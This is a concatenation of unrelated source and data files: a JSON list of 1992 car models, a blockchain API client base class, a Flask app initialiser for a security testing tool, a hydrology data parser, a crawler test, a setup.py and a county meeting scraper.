"Category": "Hatchback"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "Ram Van B250",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "Ramcharger",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "Ram 50 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "Econoline E150 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "Econoline E250 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "Viper",
"Category": "Convertible"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "Ram Wagon B250",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "D150 Club Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "Ram Van B150",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "Ram Wagon B150",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "Aerostar Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "Dynasty",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "Ram Wagon B350",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "D350 Club Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "D350 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Eagle",
"Model": "Summit",
"Category": "Sedan, Hatchback, Wagon"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "Spirit",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "Grand Caravan Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "Aerostar Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "Crown Victoria",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "Ram Van B350",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Dodge",
"Model": "Shadow",
"Category": "Hatchback, Convertible"
},
{
"Year": 1992,
"Make": "Eagle",
"Model": "Talon",
"Category": "Hatchback"
},
{
"Year": 1992,
"Make": "Eagle",
"Model": "Premier",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "Bronco",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "Club Wagon",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "F350 Super Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "Ranger Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "F150 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "Probe",
"Category": "Hatchback"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "F150 Super Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "F250 Super Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "Econoline E350 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "Escort",
"Category": "Hatchback, Sedan, Wagon"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "Explorer",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "F350 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Geo",
"Model": "Prizm",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "Tempo",
"Category": "Sedan, Coupe"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "Ranger Super Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "F250 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Geo",
"Model": "Tracker",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "Festiva",
"Category": "Hatchback"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "Thunderbird",
"Category": "Coupe"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "Mustang",
"Category": "Coupe, Convertible"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "F350 Crew Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Ford",
"Model": "Taurus",
"Category": "Sedan, Wagon"
},
{
"Year": 1992,
"Make": "GMC",
"Model": "Sonoma Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "GMC",
"Model": "Rally Wagon 2500",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "GMC",
"Model": "Sonoma Club Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Geo",
"Model": "Metro",
"Category": "Hatchback, Convertible"
},
{
"Year": 1992,
"Make": "GMC",
"Model": "2500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "GMC",
"Model": "Jimmy",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Geo",
"Model": "Storm",
"Category": "Coupe, Hatchback"
},
{
"Year": 1992,
"Make": "GMC",
"Model": "2500 Club Coupe",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "GMC",
"Model": "3500 Club Coupe",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "GMC",
"Model": "1500 Club Coupe",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "GMC",
"Model": "Rally Wagon 3500",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "GMC",
"Model": "Safari Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "GMC",
"Model": "Rally Wagon 1500",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "GMC",
"Model": "Safari Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "GMC",
"Model": "3500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "GMC",
"Model": "3500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "GMC",
"Model": "1500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "GMC",
"Model": "Suburban 1500",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "GMC",
"Model": "Vandura 3500",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "GMC",
"Model": "Suburban 2500",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Hyundai",
"Model": "Elantra",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Honda",
"Model": "Prelude",
"Category": "Coupe"
},
{
"Year": 1992,
"Make": "INFINITI",
"Model": "M",
"Category": "Coupe, Convertible"
},
{
"Year": 1992,
"Make": "Isuzu",
"Model": "Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Honda",
"Model": "Accord",
"Category": "Coupe, Wagon, Sedan"
},
{
"Year": 1992,
"Make": "Isuzu",
"Model": "Rodeo",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "INFINITI",
"Model": "G",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "GMC",
"Model": "Vandura 2500",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Hyundai",
"Model": "Scoupe",
"Category": "Coupe"
},
{
"Year": 1992,
"Make": "Hyundai",
"Model": "Excel",
"Category": "Sedan, Hatchback"
},
{
"Year": 1992,
"Make": "Honda",
"Model": "Civic",
"Category": "Hatchback, Sedan"
},
{
"Year": 1992,
"Make": "GMC",
"Model": "Vandura 1500",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Isuzu",
"Model": "Impulse",
"Category": "Hatchback"
},
{
"Year": 1992,
"Make": "Isuzu",
"Model": "Amigo",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Jaguar",
"Model": "XJ",
"Category": "Sedan, Coupe, Convertible"
},
{
"Year": 1992,
"Make": "Hyundai",
"Model": "Sonata",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Isuzu",
"Model": "Spacecab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "GMC",
"Model": "Yukon",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "INFINITI",
"Model": "Q",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Jeep",
"Model": "Cherokee",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Isuzu",
"Model": "Trooper",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "MAZDA",
"Model": "626",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "MAZDA",
"Model": "MX-3",
"Category": "Hatchback"
},
{
"Year": 1992,
"Make": "MAZDA",
"Model": "MX-5 Miata",
"Category": "Convertible"
},
{
"Year": 1992,
"Make": "MAZDA",
"Model": "Protege",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Mercedes-Benz",
"Model": "300 D",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Lexus",
"Model": "LS",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Isuzu",
"Model": "Stylus",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "MAZDA",
"Model": "323",
"Category": "Hatchback"
},
{
"Year": 1992,
"Make": "Jeep",
"Model": "Comanche Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Mercedes-Benz",
"Model": "300 SE",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Lexus",
"Model": "ES",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Lexus",
"Model": "SC",
"Category": "Coupe"
},
{
"Year": 1992,
"Make": "MAZDA",
"Model": "Navajo",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Jeep",
"Model": "Wrangler",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Land Rover",
"Model": "Range Rover",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Lincoln",
"Model": "Mark VII",
"Category": "Coupe"
},
{
"Year": 1992,
"Make": "Mercedes-Benz",
"Model": "300 CE",
"Category": "Coupe"
},
{
"Year": 1992,
"Make": "Mercedes-Benz",
"Model": "190 E",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "MAZDA",
"Model": "MX-6",
"Category": "Coupe"
},
{
"Year": 1992,
"Make": "Lincoln",
"Model": "Town Car",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Lincoln",
"Model": "Continental",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "MAZDA",
"Model": "B-Series Cab Plus",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "MAZDA",
"Model": "B-Series Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Mercedes-Benz",
"Model": "300 E",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Mercedes-Benz",
"Model": "400 E",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "MAZDA",
"Model": "MPV",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "MAZDA",
"Model": "929",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Mercedes-Benz",
"Model": "300 SD",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Mercedes-Benz",
"Model": "300 SL",
"Category": "Convertible"
},
{
"Year": 1992,
"Make": "Mercedes-Benz",
"Model": "500 E",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Mercedes-Benz",
"Model": "300 TE",
"Category": "Wagon"
},
{
"Year": 1992,
"Make": "Mercury",
"Model": "Cougar",
"Category": "Coupe"
},
{
"Year": 1992,
"Make": "Mercury",
"Model": "Grand Marquis",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Mercedes-Benz",
"Model": "500 SL",
"Category": "Convertible"
},
{
"Year": 1992,
"Make": "Mercedes-Benz",
"Model": "400 SE",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Mercedes-Benz",
"Model": "600 SEL",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Mercedes-Benz",
"Model": "500 SEL",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Mercury",
"Model": "Capri",
"Category": "Convertible"
},
{
"Year": 1992,
"Make": "Mercury",
"Model": "Sable",
"Category": "Sedan, Wagon"
},
{
"Year": 1992,
"Make": "Mercury",
"Model": "Tracer",
"Category": "Sedan, Wagon"
},
{
"Year": 1992,
"Make": "Mercury",
"Model": "Topaz",
"Category": "Sedan, Coupe"
},
{
"Year": 1992,
"Make": "Mitsubishi",
"Model": "Mighty Max Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Mitsubishi",
"Model": "Montero",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Mitsubishi",
"Model": "Expo",
"Category": "Wagon"
},
{
"Year": 1992,
"Make": "Mitsubishi",
"Model": "3000GT",
"Category": "Hatchback"
},
{
"Year": 1992,
"Make": "Mitsubishi",
"Model": "Mighty Max Macro Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Nissan",
"Model": "Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Mitsubishi",
"Model": "Precis",
"Category": "Hatchback"
},
{
"Year": 1992,
"Make": "Mitsubishi",
"Model": "Diamante",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Nissan",
"Model": "NX",
"Category": "Hatchback"
},
{
"Year": 1992,
"Make": "Nissan",
"Model": "King Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Mitsubishi",
"Model": "Mirage",
"Category": "Hatchback, Sedan"
},
{
"Year": 1992,
"Make": "Mitsubishi",
"Model": "Eclipse",
"Category": "Hatchback"
},
{
"Year": 1992,
"Make": "Nissan",
"Model": "240SX",
"Category": "Hatchback, Coupe, Convertible"
},
{
"Year": 1992,
"Make": "Nissan",
"Model": "Maxima",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Mitsubishi",
"Model": "Galant",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Nissan",
"Model": "300ZX",
"Category": "Hatchback"
},
{
"Year": 1992,
"Make": "Nissan",
"Model": "Pathfinder",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Oldsmobile",
"Model": "Bravada",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Nissan",
"Model": "Stanza",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Oldsmobile",
"Model": "Toronado",
"Category": "Coupe"
},
{
"Year": 1992,
"Make": "Oldsmobile",
"Model": "Cutlass Supreme",
"Category": "Sedan, Convertible, Coupe"
},
{
"Year": 1992,
"Make": "Plymouth",
"Model": "Colt",
"Category": "Hatchback"
},
{
"Year": 1992,
"Make": "Oldsmobile",
"Model": "Silhouette",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Oldsmobile",
"Model": "Cutlass Ciera",
"Category": "Sedan, Wagon"
},
{
"Year": 1992,
"Make": "Nissan",
"Model": "Sentra",
"Category": "Coupe, Sedan"
},
{
"Year": 1992,
"Make": "Plymouth",
"Model": "Voyager",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Oldsmobile",
"Model": "Achieva",
"Category": "Sedan, Coupe"
},
{
"Year": 1992,
"Make": "Oldsmobile",
"Model": "98",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Oldsmobile",
"Model": "Custom Cruiser",
"Category": "Wagon"
},
{
"Year": 1992,
"Make": "Plymouth",
"Model": "Colt Vista",
"Category": "Wagon"
},
{
"Year": 1992,
"Make": "Plymouth",
"Model": "Laser",
"Category": "Hatchback"
},
{
"Year": 1992,
"Make": "Plymouth",
"Model": "Acclaim",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Pontiac",
"Model": "Bonneville",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Oldsmobile",
"Model": "88",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Plymouth",
"Model": "Sundance",
"Category": "Hatchback"
},
{
"Year": 1992,
"Make": "Plymouth",
"Model": "Grand Voyager",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Pontiac",
"Model": "Sunbird",
"Category": "Sedan, Coupe, Convertible"
},
{
"Year": 1992,
"Make": "Porsche",
"Model": "911",
"Category": "Coupe, Convertible"
},
{
"Year": 1992,
"Make": "Pontiac",
"Model": "Firebird",
"Category": "Hatchback, Convertible"
},
{
"Year": 1992,
"Make": "Subaru",
"Model": "Legacy",
"Category": "Sedan, Wagon"
},
{
"Year": 1992,
"Make": "Saab",
"Model": "9000",
"Category": "Sedan, Hatchback"
},
{
"Year": 1992,
"Make": "Pontiac",
"Model": "Grand Am",
"Category": "Sedan, Coupe"
},
{
"Year": 1992,
"Make": "Pontiac",
"Model": "LeMans",
"Category": "Hatchback, Sedan"
},
{
"Year": 1992,
"Make": "Saab",
"Model": "900",
"Category": "Sedan, Hatchback, Convertible"
},
{
"Year": 1992,
"Make": "Pontiac",
"Model": "Grand Prix",
"Category": "Coupe, Sedan"
},
{
"Year": 1992,
"Make": "Pontiac",
"Model": "Trans Sport",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Porsche",
"Model": "968",
"Category": "Coupe, Convertible"
},
{
"Year": 1992,
"Make": "Suzuki",
"Model": "Samurai",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Saturn",
"Model": "S-Series",
"Category": "Coupe, Sedan"
},
{
"Year": 1992,
"Make": "Toyota",
"Model": "Celica",
"Category": "Coupe, Convertible, Hatchback"
},
{
"Year": 1992,
"Make": "Subaru",
"Model": "Justy",
"Category": "Hatchback"
},
{
"Year": 1992,
"Make": "Subaru",
"Model": "SVX",
"Category": "Coupe"
},
{
"Year": 1992,
"Make": "Suzuki",
"Model": "Sidekick",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Subaru",
"Model": "Loyale",
"Category": "Sedan, Wagon"
},
{
"Year": 1992,
"Make": "Toyota",
"Model": "Camry",
"Category": "Sedan, Wagon"
},
{
"Year": 1992,
"Make": "Toyota",
"Model": "4Runner",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Suzuki",
"Model": "Swift",
"Category": "Sedan, Hatchback"
},
{
"Year": 1992,
"Make": "Toyota",
"Model": "Cressida",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Toyota",
"Model": "Land Cruiser",
"Category": "SUV"
},
{
"Year": 1992,
"Make": "Toyota",
"Model": "MR2",
"Category": "Coupe"
},
{
"Year": 1992,
"Make": "Toyota",
"Model": "Tercel",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Toyota",
"Model": "Xtra Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Volkswagen",
"Model": "Cabriolet",
"Category": "Convertible"
},
{
"Year": 1992,
"Make": "Toyota",
"Model": "Supra",
"Category": "Hatchback"
},
{
"Year": 1992,
"Make": "Toyota",
"Model": "Previa",
"Category": "Van/Minivan"
},
{
"Year": 1992,
"Make": "Volkswagen",
"Model": "GTI",
"Category": "Hatchback"
},
{
"Year": 1992,
"Make": "Volkswagen",
"Model": "Corrado",
"Category": "Coupe"
},
{
"Year": 1992,
"Make": "Toyota",
"Model": "Regular Cab",
"Category": "Pickup"
},
{
"Year": 1992,
"Make": "Toyota",
"Model": "Paseo",
"Category": "Coupe"
},
{
"Year": 1992,
"Make": "Volkswagen",
"Model": "Jetta",
"Category": "Sedan"
},
{
"Year": 1992,
"Make": "Volvo",
"Model": "740",
"Category": "Wagon, Sedan"
},
{
"Year": 1992,
"Make": "Toyota",
"Model": "Corolla",
"Category": "Sedan, Wagon"
},
{
"Year": 1992,
"Make": "Volkswagen",
"Model": "Fox",
"Category": "Sedan, Coupe"
},
{
"Year": 1992,
"Make": "Volkswagen",
"Model": "Passat",
"Category": "Sedan, Wagon"
},
{
"Year": 1992,
"Make": "Volkswagen",
"Model": "Golf",
"Category": "Hatchback"
},
{
"Year": 1992,
"Make": "Volvo",
"Model": "240",
"Category": "Wagon, Sedan"
},
{
"Year": 1992,
"Make": "Volvo",
"Model": "960",
"Category": "Sedan, Wagon"
},
{
"Year": 1992,
"Make": "Volvo",
"Model": "940",
"Category": "Sedan, Wagon"
}
]
|
489989
|
import inspect
from abc import ABC, abstractmethod
from datetime import datetime
from time import sleep
import cfscrape
import requests
import blockapi
cfscrape.DEFAULT_CIPHERS += ':!SHA'
class Service(ABC):
"""General class for handling blockchain API services."""
active = True
base_url = None
rate_limit = 0
# {request_method: request_url}
supported_requests = {}
def __init__(self, api_key=None):
self.api_key = api_key
self.last_response = None
self.last_response_time = None
def build_request_url(self, request_method, **params):
path_url = self.supported_requests.get(request_method)
if path_url:
return self.base_url + path_url.format(**params)
return self.base_url
def request(self, request_method, with_rate_limit=False,
with_cloudflare=False, body=None, headers=None, **params):
request_url = self.build_request_url(request_method, **params)
if not request_url:
return None
if not body:
body = {}
if not headers:
headers = {}
if with_cloudflare:
reqobj = cfscrape.create_scraper()
else:
reqobj = requests
if with_rate_limit and self.rate_limit:
self.wait_for_next_request()
# if body is passed, use post
if body:
response = reqobj.post(request_url, data=body, headers=headers)
else:
response = reqobj.get(request_url, headers=headers)
self.last_response = response
self.last_response_time = datetime.now()
if response.status_code != 200:
self.process_error_response(response)
return response.json()
def wait_for_next_request(self):
if not self.last_response_time:
return
diff = (datetime.now() - self.last_response_time).total_seconds()
wait = self.rate_limit - diff
if wait > 0:
sleep(wait)
# use date from last response
# doesn't work very good, time on server can differ from local time
# if self.last_response.headers.get('Date'):
# last_resp_time = date_parse(self.last_response.headers.get('Date'))
# last_resp_time.replace(tzinfo=UTC)
# wait_until = last_resp_time + timedelta(seconds=self.rate_limit)
#
# now = datetime.utcnow().replace(tzinfo=UTC)
def process_error_response(self, response):
if response.status_code == 500:
raise InternalServerError('Error 500: Internal Server Error.')
if response.status_code == 502:
raise BadGateway('Error 502: Bad Gateway.')
if response.status_code == 504:
raise GatewayTimeOut('Error 504: Gateway timeout.')
raise APIError('Following error occured: {}, status code: {}.'.format(
response.text, response.status_code))
# Decorator that set default args
def set_default_args_values(f):
def wrapper(*args, **kwargs):
args, kwargs = _set_default_arg(
f, 'offset', args[0].start_offset, *args, **kwargs)
args, kwargs = _set_default_arg(
f, 'limit', args[0].max_items_per_page, *args, **kwargs)
return f(*args, **kwargs)
def _set_default_arg(f_, arg_name, default_value, *args, **kwargs):
sig = inspect.signature(f_)
arg_idx, _ = next((i, par) for i, (name, par)
in enumerate(sig.parameters.items())
if name == arg_name)
# check if its argument is in *args
if len(args) > arg_idx:
if args[arg_idx] is None:
list_args = list(args)
list_args[arg_idx] = default_value
args = tuple(list_args)
elif kwargs.get(arg_name) is None:
kwargs[arg_name] = default_value
return args, kwargs
return wrapper
def on_failure_return_none():
def decorate(f):
def applicator(*args, **kwargs):
try:
return f(*args, **kwargs)
except (APIError,
InternalServerError,
BadGateway,
GatewayTimeOut):
return None
return applicator
return decorate
# Exceptions
class APIError(Exception):
pass
class AddressNotExist(APIError):
pass
class APIKeyMissing(APIError):
pass
# 500
class InternalServerError(APIError):
pass
# 502
class BadGateway(APIError):
pass
# 504
class GatewayTimeOut(APIError):
pass
class BlockchainInterface(ABC):
coef = 1
start_offset = 0
max_items_per_page = None
page_offset_step = 1
confirmed_num = 0
testnet_url = None
xpub_support = False
def __init__(self, address):
self.address = address
@abstractmethod
def get_balance(self):
raise NotImplementedError()
@set_default_args_values
def get_txs(self, offset=None, limit=None, unconfirmed=False):
"""Loads txs for single address."""
return []
@staticmethod
def filter_unconfirmed_txs(txs):
return [t for t in txs if t.get('confirmed') in [True, None]]
class BlockchainAPI(Service, BlockchainInterface, ABC):
symbol = None
def __init__(self, address, api_key=None):
Service.__init__(self, api_key)
BlockchainInterface.__init__(self, address)
self.address_info = blockapi.get_address_info(self.symbol.lower(),
address)
self.update_network()
def update_network(self):
if self.address_info.network == 'test':
if self.testnet_url:
self.base_url = self.testnet_url
else:
raise ValueError("API doesn't support testnet.")
def _load(self, data):
from decimal import Decimal
if isinstance(data, dict):
for key in data:
data[key] = self._load(data[key])
return data
elif isinstance(data, list):
for i, elem in enumerate(data):
data[i] = self._load(elem)
return data
elif isinstance(data, str):
new = None
try:
new = Decimal(data)
except ValueError:
new = data
finally:
return new
else:
return data
|
490013
|
server1 = 4
server2 = 4
server3 = 4
server4 = 4
server5 = 4
mode1 = 3
mode2 = 3
mode3 = 3
mode4 = 3
mode5 = 3
waittime = 240
|
490025
|
from flask import Flask
from flask_restx import Api
from .utils import Config
app = Flask(__name__)
app.config.from_object(Config)
api = Api(
app,
version="1.0",
title="Leonidas",
description="An API for executing attacker actions within AWS",
)
|
490053
|
from collections import OrderedDict as odict
def importCONFHD(fobj):
CONFHD = odict()
for i, v in enumerate(fobj):
vline = v.decode('utf-8')
if vline.strip() and vline[0:5].strip() != 'NUM' and 'XXXX' not in vline:
coduhe = vline[:5].strip()
nome = vline[5:20].strip()
if nome == '<NAME>':
nome = '<NAME>'
# POSTO JUS REE V.INIC U.EXIS MODIF INIC.HIST FIM HIST
cols = vline[20:].split()
posto = cols[0]
jus = cols[1]
ssis = cols[2]
vinic = cols[3]
uexis = cols[4]
modif = cols[5]
inihist = cols[6]
fimhist = cols[7]
desv_1 = None
desv_2 = None
try:
desv_1 = cols[8]
desv_2 = cols[9]
# posto = vline[20:26].strip()
# jus = vline[26:31].strip()
# ssis = vline[31:36].strip()
# vinic = vline[35:43].strip()
# uexis = vline[42:49].strip()
# modif = vline[48:56].strip()
# inihist = vline[55:64].strip()
# fimhist = vline[64:73].strip()
# desv_1 = None
# desv_2 = None
# try:
# if len(vline) > 73:
# desv_1 = vline[72:78].strip()
# desv_2 = vline[78:].strip()
except Exception as e:
pass
CONFHD[coduhe] = {
'nome': nome,
'posto': posto,
'jus': jus,
'ssis': ssis,
'vinic': vinic,
'uexis': uexis,
'modif': modif,
'inihist': inihist,
'fimhist': fimhist,
'desv_1': desv_1,
'desv_2': desv_2}
return CONFHD
|
490087
|
from anime_downloader.downloader.http_downloader import HTTPDownloader
from anime_downloader.downloader.external_downloader import ExternalDownloader
from anime_downloader.downloader.SmartDL import pySmartDL
def get_downloader(downloader):
"""get_downloader returns the proper downloader class
TODO: Lazy loading of downloaders
"""
if downloader == 'http':
return HTTPDownloader
elif downloader == 'pySmartDL':
return pySmartDL
return ExternalDownloader
|
490099
|
import logging
from pomp.core.base import BaseCrawler, BaseMiddleware
from pomp.core.engine import Pomp
from pomp.contrib.urllibtools import UrllibDownloader
from pomp.contrib.urllibtools import UrllibAdapterMiddleware
from mockserver import HttpServer, make_sitemap
from tools import DummyCrawler
from tools import RequestResponseMiddleware, CollectRequestResponseMiddleware
logging.basicConfig(level=logging.DEBUG)
class TestContribUrllib(object):
@classmethod
def setup_class(cls):
cls.httpd = HttpServer(sitemap=make_sitemap(level=2, links_on_page=2))
cls.httpd.start()
@classmethod
def teardown_class(cls):
cls.httpd.stop()
def test_urllib_downloader(self):
req_resp_midlleware = RequestResponseMiddleware(
prefix_url=self.httpd.location,
request_factory=lambda x: x,
)
collect_middleware = CollectRequestResponseMiddleware()
downloader = UrllibDownloader()
pomp = Pomp(
downloader=downloader,
middlewares=(
req_resp_midlleware,
UrllibAdapterMiddleware(),
collect_middleware,
),
pipelines=[],
)
class Crawler(DummyCrawler):
ENTRY_REQUESTS = '/root'
pomp.pump(Crawler())
assert \
set([r.url.replace(self.httpd.location, '')
for r in collect_middleware.requests]) == \
set(self.httpd.sitemap.keys())
def test_exception_handling(self):
class CatchException(BaseMiddleware):
def __init__(self):
self.exceptions = []
def process_exception(self, exception, crawler, downloader):
self.exceptions.append(exception)
return exception
class MockCrawler(BaseCrawler):
def next_requests(self, response):
return
def extract_items(self, response):
return
catch_exception_middleware = CatchException()
pomp = Pomp(
downloader=UrllibDownloader(),
middlewares=(
UrllibAdapterMiddleware(),
catch_exception_middleware,
),
pipelines=[],
)
MockCrawler.ENTRY_REQUESTS = [
'https://123.456.789.01:8081/fake_url',
'%s/root' % self.httpd.location,
]
pomp.pump(MockCrawler())
assert len(catch_exception_middleware.exceptions) == 1
|
490134
|
from setuptools import find_packages, setup
setup(
name='btcturk_client',
version='0.0.2',
packages=find_packages(),
url='https://github.com/emre/btcturk-client',
license='MIT',
author='<NAME>',
author_email='<EMAIL>',
description='Btcturk.com api client',
install_requires=['requests'],
classifiers=(
'Programming Language :: Python',
'Programming Language :: Python :: 2.7',
),
)
|
490137
|
import re
from city_scrapers_core.constants import ADVISORY_COMMITTEE, COMMITTEE
from city_scrapers_core.spiders import CityScrapersSpider
from city_scrapers.mixins import CuyaCountyMixin
class CuyaEmergencyServicesAdvisorySpider(CuyaCountyMixin, CityScrapersSpider):
name = "cuya_emergency_services_advisory"
agency = "Cuyahoga County Emergency Services Advisory Board"
start_urls = ["http://bc.cuyahogacounty.us/en-US/CC-EmergencySrvcsAdvsryBrd.aspx"]
def _parse_title(self, response):
title_str = " ".join(
[
w.strip()
for w in response.css("#contentColumn h1::text")
.extract_first()
.strip()
.split(" - ")
if "cancel" not in w.lower()
]
)
return title_str.replace(" Meeting", "").strip()
def _parse_classification(self, title):
if "Committee" in title:
return COMMITTEE
return ADVISORY_COMMITTEE
def _parse_location(self, response):
loc_str = super()._parse_location(response) or ""
split_loc = re.split(r"[-, ]{1,2}(?=\d{2})", loc_str, 1)
loc_name = ""
if len(split_loc) > 1:
loc_name = split_loc[0]
loc_addr = " ".join(split_loc[1:]).replace("Ohio", "OH")
else:
loc_addr = loc_str.replace("Ohio", "OH")
if "OH" not in loc_addr:
if "Independence" not in loc_addr:
loc_addr += " Cleveland, OH"
else:
loc_addr += ", OH"
return {
"name": loc_name,
"address": loc_addr.strip(),
